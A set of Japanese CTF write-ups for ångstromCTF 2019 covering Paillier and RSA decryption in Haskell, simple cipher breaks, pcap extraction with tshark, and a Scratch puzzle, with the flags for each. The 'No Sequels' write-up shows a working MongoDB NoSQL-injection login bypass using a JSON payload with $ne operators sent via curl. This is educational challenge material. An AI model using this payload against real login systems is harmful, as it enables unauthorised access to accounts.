Runes (ångstromCTF 2019)

振り返り

問題文の Paillier が問題を解くためのヒントだということに気づけなかった。

Paillier 暗号というのも初めてなので、ちゃんと勉強しよう。

Paillier 暗号

ペイエ暗号というらしい。

RSAに似てるけど加法準同型性を満たす珍しい暗号みたいで、存在を知れてよかった。

今回の問題の解き方

runes.txt には以下の内容だけが含まれています。

n: 99157116611790833573985267443453374677300242114595736901854871276546481648883
g: 99157116611790833573985267443453374677300242114595736901854871276546481648884
c: 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869

まずは msievepq の値を求めます。

λ msieve -q -v -e 99157116611790833573985267443453374677300242114595736901854871276546481648883
...
factoring 99157116611790833573985267443453374677300242114595736901854871276546481648883 (77 digits)
...
p39 factor: 310013024566643256138761337388255591613
p39 factor: 319848228152346890121384041219876391791
elapsed time 00:02:03

77桁なので2分程度で求まりました。

あとはこんな感じのプログラムで復号します。

import Crypto.Number.ModArithmetic
import Crypto.Number.Serialize

import Data.Text
import Data.Text.Encoding

p, q, n, g, c :: Integer
p = 310013024566643256138761337388255591613
q = 319848228152346890121384041219876391791
n = 99157116611790833573985267443453374677300242114595736901854871276546481648883
g = 99157116611790833573985267443453374677300242114595736901854871276546481648884
c = 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869

l :: Integer -> Integer
l x = (x - 1) `div` n

solve :: Integer -> Integer
solve c = (l (expSafe c lambda (n^2)) * mu) `mod` n
where
lambda = lcm (p-1) (q-1)
mu = inverseCoprimes (l (expSafe g lambda (n^2))) n

toDisplay :: Integer -> Text
toDisplay = decodeUtf8 . i2osp

実行結果

*Main> solve c
8483734412270322850839331621532480687141757

*Main> toDisplay $ solve c
"actf{crypto_lives}"

フラグ

"actf{crypto_lives}"

参考リソース

ångstromCTF 2019 の結果

結果

ジャンル 解いた数 / 問題数
MISC 8 / 13
REV 4 / 6
WEB 2 / 9
CRYPTO 3 / 12
BINARY 1 / 8

最終的に 720 点の 205 位でした。

振り返り

開催期間が1週間ほどの大会だったので、問題数が結構ありました。

問題もクイズ形式で簡単なものから難しいものまで幅広く、非常に勉強になりました。

サーバーがめっちゃ重たかったり、シェルにログインできなかったりということもありましたが、初心者の僕でもとても楽しむことができました。

WEBCRYPTO をもっと解けるようにしないといけないかなと思います。

また来年も出てみようと思います。

日本語で読める writeup まとめ

Control You (ångstromCTF 2019)

解説

リンク先に飛ぶと目が痛いページが・・・。

ソースコードにフラグが書いてあった。

λ curl https://controlyou.2019.chall.actf.co/ | grep actf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 991 100 991 0 0 1256 0 --:--:-- --:--:-- --:--:-- 1257
if (flag.value === "actf{control_u_so_we_can't_control_you}") {

フラグ

actf{control_u_so_we_can't_control_you}

The Mueller Report (ångstromCTF 2019)

解説

問題のリンク先から full-mueller-report.pdf (138.8 MB) をダウンロードします。(結構時間かかる)

あとは strings コマンドを叩くだけでフラグが出てきます。

λ strings full-mueller-report.pdf | grep actf
actf{no0o0o0_col1l1l1luuuusiioooon}

フラグ

actf{no0o0o0_col1l1l1luuuusiioooon}

Scratch It Out (ångstromCTF 2019)

解説

project.json をダウンロードして中身を見てみる。

json isStage のようなキーワードで検索するとプログラミング言語の Scratch の情報が出てくるので、たぶんこれ。

project.jsonproject.sb2 のように名前を変更する。

λ mv project.json project.sb2

このファイルをオンラインエディタで開くとこんな感じ。

動かしてみると猫がフラグを教えてくれる。

フラグ

actf{Th5_0pT1maL_LANgUaG3}

参考リソース

No Sequels (ångstromCTF 2019)

解説

MongoDB に対する NoSQL インジェクションの問題でした。

画面はこんな感じ。

表示されているコードは以下の通り。

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

...

router.post('/login', verifyJwt, function (req, res) {
// monk instance
var db = req.db;

var user = req.body.username;
var pass = req.body.password;

if (!user || !pass){
res.send("One or more fields were not provided.");
}
var query = {
username: user,
password: pass
}

db.collection('users').findOne(query, function (err, user) {
if (!user){
res.send("Wrong username or password");
return
}

res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret));
res.redirect("/site");
});
});

とりあえず curl でリクエストを投げてみる。

λ curl -X POST https://nosequels.2019.chall.actf.co/login -d "username=aaa&password=bbb"
<!DOCTYPE html><html><head><title></title><link rel="stylesheet" href="/stylesheets/style.css"></head><body><h1>No authorization token was found</h1><h2></h2><pre></pre></body></html>

No authorization token was found が返ってきてしまいます。これはクッキーのせいです。

なので、まずは GET リクエストでクッキーを取得して、それを使って POST を投げます。

λ curl https://nosequels.2019.chall.actf.co/login -c cookie.txt
λ curl -X POST https://nosequels.2019.chall.actf.co/login -d "username=aaa&password=bbb" -b cookie.txt
Wrong username or password

これでリクエストが投げれるようになりました。NoSQL インジェクションのために次のような json ファイルを用意します。

{ "username": { "$ne": null },
"password": { "$ne": null }
}

あとはこれを curl で投げるだけです。

λ curl -d @payload.json -H "Content-Type: application/json" https://nosequels.2019.chall.actf.co/login -b cookie.txt
Found. Redirecting to /site

なぜかリダイレクトしようとしていますね。(次の問題のページだったりします)

λ curl -d @payload.json -H "Content-Type: application/json" https://nosequels.2019.chall.actf.co/login -b cookie.txt -L | grep actf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 87 100 27 100 60 35 78 --:--:-- --:--:-- --:--:-- 78
100 1271 100 1271 0 0 1342 0 --:--:-- --:--:-- --:--:-- 1342
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Application Access Page</title></head><body><h2>Here's your first flag: actf{no_sql_doesn't_mean_no_vuln}<br>Access granted, however suspicious activity detected. Please enter password for user<b> 'admin' </b>again, but there will be no database query.</h2><form method="post"><label>Enter Password:</label><input type="text" name="pass2"><br><input type="submit"></form><h4 style="color:red;"></h4><pre>router.post('/site', verifyJwt, function (req, res) {

ということでこれでフラグゲット。

フラグ

actf{no_sql_doesn't_mean_no_vuln}

参考リソース

Paper Trail (ångstromCTF 2019)

解説

paper_trail.pcapng ということでネットワークのパケット問題。

Wireshark の TCP Stream で終わり

せっかくなので tshark を使ってワンライナーで抜き出す例。

λ tshark -r paper_trail.pcapng -z follow,tcp,ascii,0 | grep "^PRIVMSG" | sed 1,2d | awk -F: '{printf "%c",$2}'
actf{fake_math_papers}

フラグ

actf{fake_math_papers}

参考リソース

Classy Cipher (ångstromCTF 2019)

解説

classy_cipher.py の内容は以下の通り。

from secret import flag, shift

def encrypt(d, s):
e = ''
for c in d:
e += chr((ord(c)+s) % 0xff)
return e

assert encrypt(flag, shift) == ':<M?TLH8<A:KFBG@V'

フラグを shift 分ずらしてるだけ。フラグの形式は actf{xxxxxx} となっているはずなので a: が対応するような shift を探す。

Haskell で書くとこんな感じ。

import Data.Char

solve :: Char -> Char -> Int
solve plain encrypted = head [ n | n <- [0..0xff], shift n plain == encrypted]

shift :: Int -> Char -> Char
shift k c = chr ((ord c + k) `mod` 0xff)

試してみます。

*Main> solve 'a' ':'
216

シフト数がわかったので復号します。

*Main> map (shift (-216)) ":<M?TLH8<A:KFBG@V"
"actf{so_charming}"

フラグ

actf{so_charming}

Half and Half (ångstromCTF 2019)

解説

half_and_half.py の内容は以下の通り。

from secret import flag

def xor(x, y):
o = ''
for i in range(len(x)):
o += chr(ord(x[i])^ord(y[i]))
return o

assert len(flag) % 2 == 0

half = len(flag)//2
milk = flag[:half]
cream = flag[half:]

assert xor(milk, cream) == '\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"'

コードを読むと、どうやらフラグの前半と後半の xor を計算しているということがわかる。

そしてその結果が '\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"' になるようだ。

この文字列は16進数のコードポイント形式 (\x15) と数値 (0) と文字列 (\t, ") がまざっているため、わかりにくいが、読み解くと全部で12文字だということがわかる。

ということは以下の表の下段の x8, x9, x10, x11, x12 と上段の x7 は即座に計算できる。

index 1 2 3 4 5 6 7 8 9 10 11 12
前半の12文字 a c t f { x1 x2 x3 x4 x5 x6 x7
後半の12文字 x8 x9 x10 x11 x12 x13 x14 x15 x16 x17 x18 }
xor を計算した結果 0x15 0x02 0x07 0x12 0x1e 0x10 0 0x01 \t \n 0x01

Haskell でこれを計算してみます。

import Data.Bits
import Data.Char

solve :: Char -> Int -> Char
solve c t = chr ((ord c) `xor` t)

xs :: [(Char, Int)]
xs = [ ('a', 0x15)
, ('c', 0x02)
, ('t', 0x07)
, ('f', 0x12)
, ('{', 0x1e)
, ('}', ord '"')
]
> map (uncurry solve) xs
"taste_"

良い感じです。ここまでで、さっきの表が少し埋まりました。

index 1 2 3 4 5 6 7 8 9 10 11 12
前半の12文字 a c t f { x1 x2 x3 x4 x5 x6 _
後半の12文字 t a s t e x13 x14 x15 x16 x17 x18 }
xor を計算した結果 0x15 0x02 0x07 0x12 0x1e 0x10 0 0x01 \t \n 0x01

つなげると actf{??????_taste??????} という形になります。

ここからはエスパーで tastes_nice なんじゃないかと思って計算して、失敗したので tastes_good でいけたって感じです。

なのでそんな感じで計算すると

xs :: [(Char, Int)]
xs = [ ('t', 0x15)
, ('a', 0x02)
, ('s', 0x07)
, ('t', 0x12)
, ('e', 0x1e)
, ('s', 0x10)
, ('_', ord '0')
, ('g', 0x01)
, ('o', ord '\t')
, ('o', ord '\n')
, ('d', 0x01)
, ('}', ord '"')
]
> map (uncurry solve) xs
"actf{coffee_"

良い感じに前半が出てきました。あとはくっつけるだけです。

> map (uncurry solve) xs <> map fst xs
"actf{coffee_tastes_good}"

フラグ

actf{coffee_tastes_good}

Really Secure Algorithm (ångstromCTF 2019)

解説

really_secure_algorithm.txt の内容は以下の通り。

p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
e = 65537
c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349

RSA 暗号の p, q が与えられている問題なので、すぐに解ける。

過去に同じような問題をやったことがあったので、その時のコードを流用。

import Crypto.PubKey.RSA
import Crypto.Number.ModArithmetic
import Crypto.Number.Serialize

import Data.Text
import Data.Text.Encoding

solve :: Integer -> Integer -> Integer -> Integer -> Text
solve p q e c = toDisplay $ expSafe c d n
where
n = p * q
d = case generateWith (p,q) 0 e of
Nothing -> error "generateWith error"
Just (_pubKey, privateKey) -> private_d privateKey

toDisplay :: Integer -> Text
toDisplay = decodeUtf8 . i2osp

試してみます。

> p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
> q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
> e = 65537
> c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349
> solve p q e c
"actf{really_securent_algorithm}"

フラグ

actf{really_securent_algorithm}